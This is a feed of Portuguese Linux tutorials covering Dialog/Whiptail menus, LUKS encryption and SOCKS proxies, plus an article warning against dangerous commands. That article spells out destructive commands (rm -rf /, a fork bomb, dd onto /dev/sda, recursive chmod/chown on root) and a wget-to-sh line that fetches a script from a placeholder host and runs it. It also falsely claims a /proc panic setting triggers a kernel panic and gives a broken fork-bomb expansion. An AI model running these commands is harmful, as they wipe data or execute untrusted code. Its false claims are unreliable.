Basico-Linux archivos » Aprende IT Todas as últimas notícias sobre IT Fri, 23 Aug 2024 15:36:38 +0000 pt-PT hourly 1 https://aprendeit.com/wp-content/uploads/2020/02/LOGO-CORTO-100x100.png Basico-Linux archivos » Aprende IT 32 32 Criando Scripts Interativos no Linux: Usando Dialog ou Whiptail https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/ https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/#respond Fri, 23 Aug 2024 15:36:38 +0000 https://aprendeit.com/?p=6485 No mundo da administração de sistemas, é comum encontrar a necessidade de automatizar tarefas através de scripts de shell. No entanto, às vezes precisamos tornar esses scripts interativos para facilitar ...

La entrada Criando Scripts Interativos no Linux: Usando Dialog ou Whiptail se publicó primero en Aprende IT.

]]>
No mundo da administração de sistemas, é comum encontrar a necessidade de automatizar tarefas através de scripts de shell. No entanto, às vezes precisamos tornar esses scripts interativos para facilitar a experiência do utilizador, especialmente em ambientes onde não se dispõe de uma interface gráfica completa. É aqui que entram em jogo ferramentas como Dialog e Whiptail.

Tanto o Dialog como o Whiptail são ferramentas que permitem criar interfaces gráficas simples e funcionais dentro de um terminal de texto. Estas ferramentas são muito úteis para desenvolver menus, caixas de diálogo, listas de seleção, barras de progresso e muito mais. Ao longo deste artigo, iremos guiá-lo pelos conceitos básicos e exemplos práticos de ambas as ferramentas para que possa utilizá-las nos seus próprios scripts.

O que é o Dialog?

O Dialog é uma ferramenta de linha de comandos utilizada para gerar caixas de diálogo interativas em terminais baseados em texto. É amplamente utilizada em scripts de shell para criar menus interativos, caixas de confirmação, formulários, barras de progresso, entre outros. O Dialog permite aos utilizadores interagir com um script através de uma interface de utilizador baseada em texto, o que é especialmente útil em ambientes de servidores onde não se dispõe de uma interface gráfica completa.

Instalação do Dialog

Para instalar o Dialog numa distribuição baseada em Debian ou Ubuntu, simplesmente execute o seguinte comando:

sudo apt-get update
sudo apt-get install dialog

Para distribuições baseadas em Red Hat como CentOS ou Fedora:

sudo yum install dialog

Exemplos básicos de Dialog

Caixa de mensagem simples

Este exemplo mostra uma caixa de mensagem simples que tem apenas um botão “OK”:

#!/bin/bash
dialog --title "Mensagem" --msgbox "Olá, esta é uma caixa de mensagem simples." 6 50

Explicação: Neste script, –title define o título da caixa de diálogo, –msgbox é o tipo de diálogo utilizado, e “6 50” são as dimensões da caixa (6 linhas de altura e 50 caracteres de largura).

Menu interativo

O exemplo seguinte cria um menu onde o utilizador pode selecionar uma opção:

#!/bin/bash
opcao=$(dialog --title "Menu Principal" --menu "Selecione uma opção:" 15 50 4
1 "Opção 1"
2 "Opção 2"
3 "Opção 3"
4 "Sair" 3>&1 1>&2 2>&3)
clear

echo "Selecionou a opção: $opcao"

Explicação: O menu é mostrado com opções numeradas. 3>&1 1>&2 2>&3 é utilizado para redirecionar a seleção do utilizador de volta para a saída padrão.

Lista de seleção

Neste exemplo, o utilizador pode selecionar um ou mais itens de uma lista:

#!/bin/bash
opcoes=$(dialog --title "Seleção de Pacotes" --checklist "Selecione os pacotes que deseja instalar:" 15 50 5
1 "Apache" off
2 "MySQL" off
3 "PHP" off
4 "Python" off
5 "Java" off 3>&1 1>&2 2>&3)
clear

echo "Pacotes selecionados: $opcoes"

Explicação: –checklist cria uma lista de itens com caixas de verificação, onde off indica que a caixa está desmarcada por defeito.

Barra de progresso

As barras de progresso são úteis para mostrar o avanço de uma tarefa. Aqui tens um exemplo:

#!/bin/bash
{
for ((i = 0 ; i <= 100 ; i+=10)); do
sleep 1
echo $i
done
} | dialog --title "Progresso" --gauge "A instalar..." 10 70 0

Explicação: –gauge é utilizado para criar uma barra de progresso. O ciclo for simula o avanço de uma tarefa, incrementando a barra em 10% a cada segundo.

O que é o Whiptail?

O Whiptail é uma alternativa leve ao Dialog que também permite criar interfaces interativas baseadas em texto em scripts de shell. Embora o Whiptail ofereça um conjunto semelhante de funcionalidades, é especialmente útil em sistemas onde o Dialog não está disponível ou onde se prefere uma ferramenta mais leve.

Instalação do Whiptail

Para instalar o Whiptail no Debian, Ubuntu e seus derivados:

sudo apt-get update
sudo apt-get install whiptail

Em distribuições como CentOS, Red Hat e Fedora:

sudo yum install newt

Exemplos básicos de Whiptail

Caixa de mensagem simples

Tal como com o Dialog, podes criar uma caixa de mensagem simples:

#!/bin/bash
whiptail --title "Mensagem" --msgbox "Esta é uma mensagem simples usando Whiptail." 8 45

Explicação: Este exemplo é semelhante ao do Dialog, mas utilizando o Whiptail. As dimensões da caixa são ligeiramente diferentes.

Menu interativo

Criar menus interativos é simples com o Whiptail:

#!/bin/bash
opcao=$(whiptail --title "Menu Principal" --menu "Escolha uma opção:" 15 50 4 \
"1" "Opção 1" \
"2" "Opção 2" \
"3" "Opção 3" \
"4" "Sair" 3>&1 1>&2 2>&3)
clear

echo "Selecionou a opção: $opcao"

Explicação: Este script funciona de maneira semelhante ao exemplo do Dialog, permitindo que o utilizador selecione uma opção de um menu.

Lista de seleção

O Whiptail também permite criar listas de seleção com caixas de verificação:

#!/bin/bash
opcoes=$(whiptail --title "Seleção de Pacotes" --checklist "Selecione os pacotes que deseja instalar:" 15 50 5 \
"Apache" "" ON \
"MySQL" "" OFF \
"PHP" "" OFF \
"Python" "" OFF \
"Java" "" OFF 3>&1 1>&2 2>&3)
clear

echo "Pacotes selecionados: $opcoes"

Explicação: Neste exemplo, “ON” indica que a caixa de verificação está marcada por defeito, ao contrário do “off” do Dialog.

Barra de progresso

Finalmente, aqui tens um exemplo de uma barra de progresso com o Whiptail:

#!/bin/bash
{
    for ((i = 0 ; i <= 100 ; i+=10)); do
        sleep 1
        echo $i
    done
} | whiptail --gauge "A instalar..." 6 50 0

Explicação: Este exemplo é muito semelhante ao do Dialog, mas utilizando a sintaxe do Whiptail.
Tanto o Dialog como o Whiptail são ferramentas poderosas e flexíveis que permitem aos administradores de sistemas e desenvolvedores criar interfaces de utilizador interativas dentro de um terminal. Embora ambas as ferramentas sejam semelhantes em termos de funcionalidade, a escolha entre uma ou outra pode depender das necessidades específicas do sistema e das preferências pessoais.

O Dialog é mais popular e amplamente documentado, enquanto o Whiptail é uma alternativa mais leve que pode ser preferida em sistemas onde a minimização do uso de recursos é crucial.

Neste artigo, cobrimos os conceitos básicos do Dialog e do Whiptail com exemplos práticos que lhe permitirão começar a criar os seus próprios scripts interativos. Quer precise de um menu simples, uma caixa de mensagem ou uma barra de progresso, estas ferramentas fornecer-lhe-ão as funcionalidades necessárias para melhorar a interação dos utilizadores com os seus scripts.

Lembre-se de que a chave para dominar estas ferramentas é a prática. Experimente os exemplos fornecidos, modifique-os para se adaptarem às suas necessidades e continue a explorar as múltiplas possibilidades que o Dialog e o Whiptail oferecem para tornar os seus scripts mais intuitivos e fáceis de usar.

Vídeo

Script do vídeo

A seguir, coloco dois scripts de exemplo de dois menus interativos:
Dialog

#!/bin/bash

# Exemplo de menu usando o Dialog
dialog --menu "Selecione uma opção:" 15 50 4 \
1 "Ver informações do sistema" \
2 "Mostrar uso do disco" \
3 "Configurar rede" \
4 "Sair" 2>selecao.txt

# Ler a opção selecionada
opcao=$(cat selecao.txt)

case $opcao in
    1)
        echo "Mostrando informações do sistema..."
        # Os comandos correspondentes iriam aqui
        ;;
    2)
        echo "Mostrando uso do disco..."
        # Os comandos correspondentes iriam aqui
        ;;
    3)
        echo "Configurando a rede..."
        # Os comandos correspondentes iriam aqui
        ;;
    4)
        echo "Saindo..."
        exit 0
        ;;
    *)
        echo "Opção inválida."
        ;;
esac

O resultado seria:

dialog
Whiptail

#!/bin/bash

# Exemplo de menu usando o Whiptail
opcao=$(whiptail --title "Menu Principal" --menu "Selecione uma opção:" 15 50 4 \
"1" "Ver informações do sistema" \
"2" "Mostrar uso do disco" \
"3" "Configurar rede" \
"4" "Sair" 3>&1 1>&2 2>&3)

# Verificar a opção selecionada
case $opcao in
    1)
        echo "Mostrando informações do sistema..."
        # Os comandos correspondentes iriam aqui
        ;;
    2)
        echo "Mostrando uso do disco..."
        # Os comandos correspondentes iriam aqui
        ;;
    3)
        echo "Configurando a rede..."
        # Os comandos correspondentes iriam aqui
        ;;
    4)
        echo "Saindo..."
        exit 0
        ;;
    *)
        echo "Opção inválida."
        ;;
esac

Com o Whiptail, o resultado seria este:

whiptail
Como se pode ver, os resultados são muito parecidos.

Referências e documentação

Para o Dialog e o Whiptail, podemos encontrar uma ampla documentação em https://invisible-island.net/dialog/dialog.html

La entrada Criando Scripts Interativos no Linux: Usando Dialog ou Whiptail se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/feed/ 0
Cifragem de Partições e Discos com LUKS em Linux https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/ https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/#respond Sun, 12 May 2024 17:08:05 +0000 https://aprendeit.com/?p=6245 Bem-vindo ao fascinante mundo da cifragem de partições e discos em Linux usando LUKS (Linux Unified Key Setup). Neste capítulo, vamos explorar em detalhe como utilizar o LUKS para proteger ...

La entrada Cifragem de Partições e Discos com LUKS em Linux se publicó primero en Aprende IT.

]]>
Bem-vindo ao fascinante mundo da cifragem de partições e discos em Linux usando LUKS (Linux Unified Key Setup). Neste capítulo, vamos explorar em detalhe como utilizar o LUKS para proteger os teus dados sensíveis através da cifragem dos teus discos e partições. Desde a instalação das ferramentas necessárias até ao manuseio de comandos especializados, vou guiar-te passo a passo por este processo crucial para a segurança dos teus dados.

Instalação de Ferramentas Necessárias

Antes de mergulharmos no mundo da cifragem com LUKS, é essencial garantir que tens as ferramentas adequadas instaladas no teu sistema. Geralmente, a maioria das distribuições de Linux inclui estas ferramentas de cifragem por padrão, mas é sempre bom verificar.

Podes instalar as ferramentas necessárias utilizando o gestor de pacotes da tua distribuição. Em distribuições baseadas em Debian, como Ubuntu, podes executar o seguinte comando no terminal:

sudo apt install cryptsetup

Se estás a utilizar uma distribuição baseada em Red Hat, como Fedora ou CentOS, podes instalar as ferramentas de cifragem com o seguinte comando:

sudo dnf install cryptsetup

Uma vez que tenhas instalado o cryptsetup, estarás pronto para começar a trabalhar com LUKS.

Criação de um Volume LUKS

O primeiro passo para cifrar uma partição ou disco em Linux é criar um volume LUKS. Este volume atuará como uma camada de cifragem que protegerá os dados armazenados na partição ou disco.

Para criar um volume LUKS, precisarás especificar a partição ou disco que desejas cifrar. Certifica-te de que a partição está desmontada antes de prosseguir. Suponhamos que queremos cifrar a partição /dev/sdb1. O seguinte comando criará um volume LUKS nesta partição:

sudo cryptsetup luksFormat /dev/sdb1

Este comando iniciará o processo de criação do volume LUKS na partição especificada. Serás solicitado a confirmar esta ação, pois o processo apagará todos os dados existentes na partição. Após confirmar, serás solicitado a introduzir uma senha para desbloquear o volume LUKS no futuro. Certifica-te de escolher uma senha segura e recorda-a bem, pois precisarás dela sempre que quiseres aceder aos dados cifrados.

Uma vez concluído o processo, terás um volume LUKS criado na partição especificada, pronto para ser utilizado.

Abertura e Fecho do Volume LUKS

Depois de criar um volume LUKS, o próximo passo é abri-lo para poder aceder aos dados armazenados nele. Para abrir um volume LUKS, precisarás especificar a partição que contém o volume e atribuir-lhe um nome.

sudo cryptsetup luksOpen /dev/sdb1 minha_particao_cifrada

Neste comando, /dev/sdb1 é a partição que contém o volume LUKS, e minha_particao_cifrada é o nome que estamos a atribuir ao volume aberto. Uma vez que executes este comando, serás solicitado a introduzir a senha que especificaste durante a criação do volume LUKS. Após introduzir a senha correta, o volume será aberto e estará pronto para ser utilizado.

Para fechar o volume LUKS e bloquear o acesso aos dados cifrados, podes utilizar o seguinte comando:

sudo cryptsetup luksClose minha_particao_cifrada

Este comando fechará o volume LUKS com o nome especificado (minha_particao_cifrada neste caso), o que impedirá o acesso aos dados armazenados nele até que seja aberto novamente.

Criação de um Sistema de Ficheiros num Volume LUKS

Uma vez que tenhas aberto um volume LUKS, podes criar um sistema de ficheiros nele para começar a armazenar dados de forma segura. Podes utilizar qualquer sistema de ficheiros compatível com Linux, como xfs ou btrfs.

Suponhamos que queremos criar um sistema de ficheiros xfs no volume LUKS aberto (minha_particao_cifrada). O seguinte comando criará um sistema de ficheiros xfs no volume:

sudo mkfs.xfs /dev/mapper/minha_particao_cifrada

Este comando formatará o volume LUKS aberto com um sistema de ficheiros xfs, o que te permitirá começar a armazenar dados nele de forma segura.

Montagem e Desmontagem de um Volume LUKS

Uma vez que tenhas criado um sistema de ficheiros num volume LUKS, podes montá-lo no sistema de ficheiros para aceder aos dados armazenados nele. Para montar um volume LUKS, podes utilizar o seguinte comando:

sudo mount /dev/mapper/minha_particao_cifrada /mnt

Neste comando, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o volume LUKS aberto, e /mnt é o ponto de montagem onde o sistema de ficheiros será montado.

Depois de montar o volume LUKS, podes aceder aos dados armazenados nele como farias com qualquer outro sistema de ficheiros montado em Linux. Quando terminares de trabalhar com os dados, podes desmontar o volume LUKS utilizando o seguinte comando:

sudo umount /mnt

Este comando desmontará o sistema de ficheiros do volume LUKS, o que evitará que acedas aos dados armazenados nele até que seja montado novamente.

Gestão de Volumes LUKS

O LUKS fornece várias ferramentas para gerir volumes, incluindo a capacidade de mudar a senha, adicionar chaves adicionais e fazer backups dos cabeçalhos dos volumes.

Para mudar a senha de um volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksChangeKey /dev/sdb1

Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova senha.

Se desejas adicionar uma chave adicional ao volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksAddKey /dev/sdb1

Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova chave adicional.

Para fazer um backup do cabeçalho de um volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file

Este comando fará um backup do cabeçalho do volume LUKS para o ficheiro especificado, permitindo restaurá-lo caso o cabeçalho do volume se danifique.

Resumo de Comandos para Criar Volume Cifrado com LUKS

sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /caminho_de_montagem

Integração com crypttab e fstab

Uma vez que tenhas cifrado uma partição ou disco utilizando LUKS em Linux, podes querer configurar a abertura automática do contêiner LUKS durante o arranque do sistema e montá-lo num ponto específico do sistema de ficheiros. Isto pode ser conseguido utilizando os ficheiros de configuração crypttab e fstab.

Configuração de crypttab

O ficheiro crypttab é utilizado para configurar o mapeamento automático de dispositivos cifrados durante o processo de arranque do sistema. Podes especificar os dispositivos cifrados e as suas correspondentes chaves de cifragem neste ficheiro.

Para configurar um dispositivo cifrado no crypttab, primeiro precisas conhecer o UUID (Identificador Único Universal) do contêiner LUKS. Podes encontrar o UUID executando o seguinte comando:

sudo cryptsetup luksUUID /dev/sdb1

Uma vez que tenhas o UUID do contêiner LUKS, podes adicionar uma entrada no ficheiro crypttab para configurar o mapeamento automático. Por exemplo, suponhamos que o UUID do contêiner LUKS é 12345678-1234-1234-1234-123456789abc. Podes adicionar a seguinte entrada no ficheiro crypttab:

minha_particao_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks

Também pode ser feito desta forma sem usar o UUID:

minha_particao_cifrada /dev/sdb1 none luks

Nesta entrada, minha_particao_cifrada é o nome que demos ao contêiner LUKS, e UUID=12345678-1234-1234-1234-123456789abc é o UUID do contêiner. A palavra none indica que não é utilizada uma chave pré-compartilhada, e luks especifica que o dispositivo está cifrado com LUKS.

Configuração de fstab

Uma vez que tenhas configurado o mapeamento automático do dispositivo cifrado no crypttab, podes configurar a montagem automática do sistema de ficheiros no fstab. O ficheiro fstab é utilizado para configurar a montagem automática de sistemas de ficheiros durante o arranque do sistema.

Para configurar a montagem automática de um sistema de ficheiros no fstab, primeiro precisas conhecer o ponto de montagem e o tipo de sistema de ficheiros do contêiner LUKS. Suponhamos que o ponto de montagem é /mnt/minha_particao e o sistema de ficheiros é xfs. Podes adicionar uma entrada no ficheiro fstab da seguinte maneira:

/dev/mapper/minha_particao_cifrada /mnt/minha_particao xfs defaults 0 2

Nesta entrada, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o contêiner LUKS aberto, /mnt/minha_particao é o ponto de montagem onde o sistema de ficheiros será montado, xfs é o tipo de sistema de ficheiros, defaults especifica as opções de montagem por defeito, e 0 2 especifica as opções de verificação do sistema de ficheiros.

Recomendações com crypttab

No caso de um servidor, eu não teria o crypttab ativo, ou seja, deixaria a configuração posta mas comentada, tal como com o fstab. Faria as montagens de forma manual após um reinício. Assim evitamos ter de usar ficheiros de chave e prevenir alguns problemas derivados.

La entrada Cifragem de Partições e Discos com LUKS em Linux se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/feed/ 0
Criar proxy socks com dante e com openssh https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/ https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/#respond Mon, 25 Mar 2024 19:17:51 +0000 https://aprendeit.com/?p=6231 Como criar um proxy SOCKS com Dante no Ubuntu Na era digital, manter a privacidade e segurança online é mais crucial do que nunca. Uma das maneiras de proteger a ...

La entrada Criar proxy socks com dante e com openssh se publicó primero en Aprende IT.

]]>
Como criar um proxy SOCKS com Dante no Ubuntu

Na era digital, manter a privacidade e segurança online é mais crucial do que nunca. Uma das maneiras de proteger a sua identidade e dados na rede é através do uso de um servidor proxy SOCKS. Este tipo de proxy atua como um intermediário entre o seu dispositivo e a internet, ocultando o seu endereço IP real e cifrando o seu tráfego de internet. Neste artigo, vamos guiá-lo passo a passo sobre como configurar o seu próprio servidor proxy SOCKS no Ubuntu utilizando o Dante, um servidor proxy versátil e de alto desempenho.

Iniciando a instalação do Dante

Antes de mergulharmos na configuração do Dante, é essencial preparar o seu sistema e garantir que está atualizado. Para isso, abra um terminal e execute os seguintes comandos:

sudo apt update
sudo apt install dante-server

Estes comandos irão atualizar a lista de pacotes do seu sistema e depois instalar o Dante, respectivamente.

Configuração do ficheiro danted.conf

Uma vez instalado o Dante, o próximo passo é configurar o servidor proxy. Isto é feito editando o ficheiro de configuração danted.conf localizado em /etc/danted/. Para isso, use o seu editor de texto preferido. Aqui, vamos usar o vim:

vim /etc/danted.conf

Dentro deste ficheiro, deve especificar detalhes cruciais como as interfaces externa e interna, o método de autenticação e as regras de acesso. A seguir, mostramos uma configuração exemplo que pode ajustar de acordo com as suas necessidades:

logoutput: syslog
user.privileged: root
user.unprivileged: nobody

# A interface externa (pode ser o seu endereço IP público ou o nome da interface)
external: eth0

# A interface interna (geralmente o endereço IP do seu servidor ou loopback)
internal: 0.0.0.0 port=1080

# Método de autenticação
socksmethod: username

# Regras de acesso
client pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    log: connect disconnect error
}

# Quem pode utilizar este proxy
socks pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    command: bind connect udpassociate
    log: connect disconnect error
    socksmethod: username
}

Esta configuração define um servidor SOCKS que escuta em todas as interfaces disponíveis (0.0.0.0) na porta 1080. Utiliza autenticação por nome de utilizador e permite conexões de e para qualquer endereço.

Criação de um utilizador para o proxy

Para que o proxy seja seguro e não esteja aberto ao público, é necessário criar um utilizador específico para a conexão. Isto é conseguido com os seguintes comandos:

sudo useradd -r -s /bin/false nome_utilizador
sudo passwd nome_utilizador

Aqui, nome_utilizador é o nome de utilizador que deseja para a conexão ao proxy. O comando useradd cria o utilizador, e passwd permite-lhe atribuir uma palavra-passe.

Reiniciar e habilitar o serviço Dante

Com o utilizador criado e o ficheiro de configuração ajustado, é momento de reiniciar o serviço Dante e garantir que ele se execute ao início do sistema:

sudo systemctl restart danted.service
sudo systemctl enable danted.service
sudo systemctl status danted.service

Além disso, é importante garantir que a porta 1080, que é onde escuta o proxy, esteja permitida no firewall:

sudo ufw allow 1080/tcp

Verificação da conexão

Finalmente, para verificar se tudo está a funcionar corretamente, pode testar a conexão através do proxy com o seguinte comando:

curl -v -x socks5://nome_utilizador:password@seu_ip_do_servidor:1080 https://qualemeuip.com/

Lembre-se de substituir nome_utilizador, password e seu_ip_do_servidor com as suas informações específicas. Este comando utilizará o seu servidor proxy para aceder a um website que mostra o seu endereço IP público, verificando assim que o tráfego está realmente a ser redirecionado através do proxy SOCKS.

Configurar um servidor proxy SOCKS com Dante pode parecer complexo ao início, mas seguindo estes passos, poderá ter um sistema poderoso

Pode configurar um servidor proxy SOCKS5 utilizando OpenSSH no Ubuntu 22.04, o que é uma alternativa mais simples e direta em certos casos, especialmente para uso pessoal ou em situações onde já tem um servidor SSH configurado. A seguir, explico como fazê-lo:

Criar um proxy Socks 5 com OpenSSH

Ao contrário do Dante, com o qual podemos criar um serviço de proxy com autenticação, com OpenSSH, podemos criar um túnel numa porta que pode ser utilizado como proxy socks sem autenticação, pelo que é conveniente utilizá-lo apenas para localhost dentro de um único equipamento (explicaremos isto melhor depois)

Instalação do OpenSSH Server

Se ainda não tem o OpenSSH Server instalado no seu servidor que vai fazer de proxy, pode instalá-lo com o seguinte comando, desde que seja uma distribuição baseada em Debian / Ubuntu:

sudo apt update
sudo apt install openssh-server

Certifique-se de que o serviço está ativo e a executar corretamente com:

sudo systemctl status ssh

Configuração do Servidor SSH (Opcional)

Por defeito, o OpenSSH escuta na porta 22. Pode ajustar configurações adicionais editando o ficheiro /etc/ssh/sshd_config, como alterar a porta, restringir o acesso a certos utilizadores, etc. Se realizar alterações, lembre-se de reiniciar o serviço SSH:

sudo systemctl restart ssh

Utilização do SSH como um Proxy SOCKS5

Para configurar um túnel SSH que funcione como um proxy SOCKS5, utilize o seguinte comando a partir do seu cliente (não no servidor). Este comando estabelece um túnel SSH que escuta localmente na sua máquina na porta especificada (por exemplo, 1080) e redireciona o tráfego através do servidor SSH:

ssh -D 1080 -C -q -N utilizador@endereço_servidor
  • -D 1080 especifica que o SSH deve criar um proxy SOCKS5 na porta local 1080.
  • -C comprime os dados antes de enviar.
  • -q habilita o modo silencioso que minimiza as mensagens de log.
  • -N indica que não sejam executados comandos remotos, útil quando apenas deseja estabelecer o túnel.
  • utilizador é o seu nome de utilizador no servidor SSH.
  • endereço_servidor é o endereço IP ou domínio do seu servidor SSH.

Neste ponto, mencionamos que com a opção -D deve-se indicar apenas a porta, pois se expor a porta a toda a rede pode permitir que outros equipamentos da rede utilizem este proxy sem autenticação:

[ger@ger-pc ~]$ ssh -D 0.0.0.0:1081 root@192.168.54.100

Se verificarmos com o comando ss ou netstat, podemos ver que está a escutar em todas as redes:

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 0.0.0.0:1081 0.0.0.0:* users:(("ssh",pid=292405,fd=4)) 
[ger@ger-pc ~]$

No entanto, se conectarmos especificando apenas a porta sem 0.0.0.0 ou sem qualquer IP, o fará apenas no localhost:

[ger@ger-pc ~]$ ssh -D 1081 root@192.168.54.100

.......

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 127.0.0.1:1081 0.0.0.0:* users:(("ssh",pid=292485,fd=5)) 
tcp LISTEN 0 128 [::1]:1081 [::]:* users:(("ssh",pid=292485,fd=4)) 
[ger@ger-pc ~]$

Conexão através do Proxy SOCKS5:

Agora pode configurar o seu navegador ou aplicação para utilizar o proxy SOCKS5 no localhost e na porta 1080. Cada aplicação tem uma maneira diferente de configurar isto, por isso, precisará rever as preferências ou a documentação da aplicação.

Automatização da Conexão (Opcional):
Se precisar que o túnel se estabeleça automaticamente ao início ou sem interação manual, pode considerar utilizar uma ferramenta como autossh para manter a conexão do túnel aberta e reconectar em caso de queda.

Esta é uma forma eficaz de estabelecer um proxy SOCKS5 rápido para um utilizador ou alguns utilizadores, especialmente útil para contornar restrições de rede ou proteger o seu tráfego em redes não confiáveis. A principal vantagem deste método é a sua simplicidade e que aproveita a infraestrutura SSH existente, sem necessidade de configurar software adicional no servidor.

La entrada Criar proxy socks com dante e com openssh se publicó primero en Aprende IT.

]]>
https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/feed/ 0
Comandos que não devem ser executados no Linux https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/ https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/#respond Sun, 25 Feb 2024 20:30:11 +0000 https://aprendeit.com/?p=6079 No vasto mundo do Linux, o terminal é uma ferramenta poderosa que concede aos usuários um controle sem precedentes sobre os seus sistemas. No entanto, com grande poder vem grande ...

La entrada Comandos que não devem ser executados no Linux se publicó primero en Aprende IT.

]]>
No vasto mundo do Linux, o terminal é uma ferramenta poderosa que concede aos usuários um controle sem precedentes sobre os seus sistemas. No entanto, com grande poder vem grande responsabilidade. Existem certos comandos que, embora possam parecer inofensivos ou curiosos à primeira vista, podem causar danos irreparáveis ao seu sistema. Neste artigo, exploraremos dez desses comandos letais, explicando em detalhe por que deve mantê-los longe do seu terminal.

O Devastador rm -rf /

Começamos com o infame comando rm -rf /, uma sentença que parece simples mas esconde um potencial destrutivo. Este comando apaga todos os ficheiros do sistema, começando pela raiz (/). O modificador -r indica que a eliminação deve ser recursiva, ou seja, afetar todos os ficheiros e diretórios contidos no diretório especificado, enquanto -f força a eliminação sem pedir confirmação. Executar este comando como superusuário significa dizer adeus ao seu sistema operativo, aos seus dados e a qualquer esperança de recuperação fácil.

Em resumo, é preciso ter cuidado ao executar comandos rm recursivos, pois podemos eliminar mais do que queremos:

  • rm -fr *
  • rm -fr */
  • rm -fr /*
  • rm -fr .
  • rm -fr ..

A Armadilha de :(){ :|: & };:

Este comando enigmático é um exemplo de uma função fork bomb. Define-se uma função chamada : que, quando executada, chama-se a si mesma duas vezes, e cada chamada é executada em background. Isso causa uma reação em cadeia, duplicando processos indefinidamente e consumindo os recursos do sistema até que este trave. É um ataque de negação de serviço contra a sua própria máquina, levando ao limite a capacidade de processamento e memória.

Para entender melhor, :(){ :|: & };: é o mesmo que executar:

bomb() {
    bomb | bomb &;
}; bomb

O Perigo de dd if=/dev/zero of=/dev/sda

O comando dd é uma ferramenta poderosa usada para converter e copiar ficheiros a nível de bloco. Neste contexto, if=/dev/zero define a entrada para um fluxo contínuo de zeros, e of=/dev/sda designa o dispositivo de destino, geralmente o disco rígido principal. Este comando sobrescreve todo o disco com zeros, apagando irreversivelmente o sistema operativo, os programas e os dados do utilizador. É essencial compreender a função de cada parte do comando antes de executar algo tão poderoso como dd.

Descarregar e Executar um Ficheiro Malicioso

Por exemplo, o comando wget http://exemplo.com/malicioso.sh -O- | sh

Este comando utiliza wget para descarregar um script de um endereço da Internet e executa-o diretamente na shell com sh. O perigo reside em executar código sem rever, proveniente de uma fonte não confiável. Pode tratar-se de um script malicioso desenhado para danificar o seu sistema ou comprometer a sua segurança. É sempre vital verificar o conteúdo dos scripts antes de executá-los.

Modificação Perigosa de Permissões e Propriedades

A modificação de permissões com, por exemplo, chmod 777 / -R pode deixar o seu sistema inutilizável.
chmod altera as permissões de ficheiros e diretórios, e 777 concede permissões totais (leitura, escrita e execução) a todos os utilizadores. Aplicar isto de forma recursiva (-R) à raiz (/) elimina qualquer forma de controlo de acesso, expondo o sistema a riscos de segurança graves. Qualquer utilizador poderia modificar qualquer ficheiro, com potenciais consequências desastrosas.

O Comando chown nobody:nogroup / -R

Semelhante ao caso anterior, chown altera o proprietário e o grupo de ficheiros e diretórios. Usar nobody:nogroup atribui a propriedade a um utilizador e grupo sem privilégios, aplicado de forma recursiva a partir da raiz, pode deixar o sistema num estado inoperável, uma vez que os serviços e processos críticos poderiam perder o acesso aos ficheiros necessários para o seu funcionamento.

O Misterioso mv /home/o_seu_usuario/* /dev/null

Mover ficheiros para o diretório /dev/null é equivalente a eliminá-los, pois /dev/null é um buraco negro no sistema que descarta tudo o que recebe. Este comando, aplicado ao diretório do utilizador, pode resultar na perda de todos os dados pessoais, configurações e ficheiros importantes armazenados no seu home.

O Perigoso find

O comando find pode ser muito perigoso, por exemplo, se executarmos o seguinte comando:

find / -name '*.jpg' -type f -delete

O que acontece é que find é uma ferramenta versátil para procurar ficheiros no sistema de ficheiros que cumpram com certos critérios. Este comando procura todos os ficheiros .jpg no sistema e elimina-os. Embora possa parecer útil para libertar espaço, eliminar indiscriminadamente ficheiros baseando-se apenas na sua extensão pode resultar na perda de documentos importantes, memórias e recursos.

 

Causar um Kernel Panic

O seguinte comando é capaz de causar um kernel panic:

echo 1 > /proc/sys/kernel/panic;

Provocar um erro de Kernel Panic no Linux é comparável à temida tela azul da morte no Windows, desmistificando a crença de que o Linux é infalível. Através de certos comandos, como redirecionar dados aleatórios para dispositivos críticos do sistema ou manipular diretamente a memória, pode forçar o Linux a entrar num estado de pânico do kernel, tornando o sistema irrecuperável sem um reinício. Estes comandos são altamente arriscados e podem resultar na perda de dados ou na corrupção do sistema.

Sobrescrever o Disco de Sistema com a Saída de um Comando

Sobrescrever o disco rígido no Linux, usando comandos que redirecionam a saída de qualquer comando Bash diretamente para um dispositivo de disco (/dev/hda), pode resultar na perda total de dados. Este processo é irreversível e difere da formatação, pois implica escrever dados brutos sobre toda a unidade, tornando-a inutilizável. É uma ação altamente perigosa sem benefício prático na maioria dos contextos.

Um exemplo disto seria:

comando1 > /dev/sda1

Proteja o Seu Sistema, Proteja a Sua Paz de Espírito

